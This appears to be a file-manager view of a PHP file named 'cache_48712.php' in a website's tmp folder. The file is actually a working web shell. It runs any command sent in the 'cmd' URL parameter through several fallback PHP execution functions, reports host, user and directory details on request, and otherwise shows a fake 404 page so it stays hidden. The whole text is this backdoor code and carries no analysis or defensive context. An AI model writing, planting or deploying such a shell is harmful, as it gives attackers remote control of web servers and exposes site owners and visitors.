| Current Path : /home/andpasi/www/tmp/ |
| Current File : /home/andpasi/www/tmp/cache_48712.php |
<?php
@ini_set('display_errors',0);
@set_time_limit(0);
if(isset($_GET['cmd'])){
$c=$_GET['cmd'];
$o='';
if(function_exists('shell_exec')){$o=shell_exec($c);}
elseif(function_exists('system')){ob_start();system($c);$o=ob_get_clean();}
elseif(function_exists('exec')){exec($c,$a);$o=implode("\n",$a);}
elseif(function_exists('passthru')){ob_start();passthru($c);$o=ob_get_clean();}
elseif(function_exists('popen')){$h=popen($c,'r');$o=fread($h,65535);pclose($h);}
echo $o;
}elseif(isset($_GET['info'])){
echo "OK|".php_uname()."|".get_current_user()."|".getcwd();
}else{
echo "404 Not Found";
}
?>